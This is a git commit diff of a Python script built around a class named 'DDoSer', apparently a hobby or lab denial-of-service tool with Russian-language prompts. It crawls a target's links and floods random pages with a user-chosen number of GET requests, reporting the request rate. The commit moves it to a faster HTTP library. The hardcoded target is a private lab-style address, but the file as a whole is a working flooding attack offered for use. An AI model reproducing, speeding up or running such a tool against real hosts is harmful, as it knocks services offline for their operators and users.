faster_than_requests

This commit is contained in:
2020-04-25 00:33:39 +03:00
parent 6de8735eb5
commit 53c9a0f8f3
2 changed files with 41 additions and 39 deletions

4
.gitignore vendored
View File

@@ -2,4 +2,6 @@
./venv ./venv
./vscode ./vscode
./data.db ./data.db
./__pycache__ ./__pycache__
./map.txt
./maps

76
__init__.py Normal file → Executable file
View File

@@ -1,11 +1,11 @@
#!venv/bin/python3
import os import os
import link_extractor import link_extractor
import time import time
import random import random
import progressbar import progressbar
# import urllib.request as requests # urlib import faster_than_requests as requests
# import faster_than_requests as requests # faster_than_requests
import requests
from datetime import datetime from datetime import datetime
from threading import Thread from threading import Thread
@@ -13,27 +13,27 @@ from threading import Thread
global requestCountSuccess, requestCountExecuted global requestCountSuccess, requestCountExecuted
if not os.path.exists('./maps/'): if not os.path.exists('./maps/'):
os.makedirs('./maps/') os.makedirs('./maps/')
def url_grab(full_url): def url_grab(full_url):
if os.path.exists(f'./maps/{url}'): if os.path.exists(f'./maps/{url}'):
with open(f'./maps/{url}', 'r') as f: with open(f'./maps/{url}', 'r') as f:
subUrls = f.read().splitlines() subUrls = f.read().splitlines()
else: else:
subUrls = link_extractor.extractor('http://' + url) subUrls = link_extractor.extractor('http://' + url)
os.mknod(f'./maps/{url}') os.mknod(f'./maps/{url}')
with open(f'./maps/{url}', 'w') as f: with open(f'./maps/{url}', 'w') as f:
for link in subUrls: for link in subUrls:
print(link.strip(), file=f) print(link.strip(), file=f)
print(datetime.now().strftime('[%X] ') + 'Карта сайта получена') print(datetime.now().strftime('[%X] ') + 'Карта сайта получена')
return subUrls return subUrls
class DDoSer(Thread): class DDoSer(Thread):
@@ -46,8 +46,8 @@ class DDoSer(Thread):
global requestCountSuccess, requestCountExecuted global requestCountSuccess, requestCountExecuted
# responce = requests.urlopen(self.url).getcode() # urlib # responce = requests.urlopen(self.url).getcode() # urlib
responce = requests.get(self.url).status_code responce = requests.get(self.url)['status']
if responce == 200: if responce == '200 OK':
requestCountSuccess += 1 requestCountSuccess += 1
requestCountExecuted += 1 requestCountExecuted += 1
@@ -55,29 +55,29 @@ class DDoSer(Thread):
if __name__ == '__main__': if __name__ == '__main__':
# url = input(datetime.now().strftime('[%x %X] ') + 'Введите адрес сайта: ') # url = input(datetime.now().strftime('[%x %X] ') + 'Введите адрес сайта: ')
url = '192.168.56.102' url = '192.168.56.102'
subUrls = url_grab(url) subUrls = url_grab(url)
requestCount = int(input(datetime.now().strftime('[%X] ') + 'Введите число запросов: ')) requestCount = int(input(datetime.now().strftime('[%X] ') + 'Введите число запросов: '))
print() print()
startTime = time.time() startTime = time.time()
requestCountExecuted = 0 requestCountExecuted = 0
requestCountSuccess = 0 requestCountSuccess = 0
with progressbar.ProgressBar(max_value=requestCount) as bar: with progressbar.ProgressBar(max_value=requestCount) as bar:
for i in range(requestCount): for i in range(requestCount):
url = random.choice(subUrls) url = random.choice(subUrls)
thread = DDoSer(url) thread = DDoSer(url)
thread.start() thread.start()
thread.join() thread.join()
bar.update(requestCountExecuted) bar.update(requestCountExecuted)
while requestCountExecuted < requestCount: while requestCountExecuted < requestCount:
bar.update(requestCountExecuted) bar.update(requestCountExecuted)
print('\n' + datetime.now().strftime('[%X] ') + 'Всего выслано запросов: ' + str(requestCountExecuted)) print('\n' + datetime.now().strftime('[%X] ') + 'Всего выслано запросов: ' + str(requestCountExecuted))
print(datetime.now().strftime('[%X] ') + 'Успешных запросов: ' + str(requestCountSuccess)) print(datetime.now().strftime('[%X] ') + 'Успешных запросов: ' + str(requestCountSuccess))
print(datetime.now().strftime('[%X] ') + 'Средняя скорость: ' + str(round(requestCountExecuted/(time.time() - startTime))) + ' з/с') print(datetime.now().strftime('[%X] ') + 'Средняя скорость: ' + str(round(requestCountExecuted/(time.time() - startTime))) + ' з/с')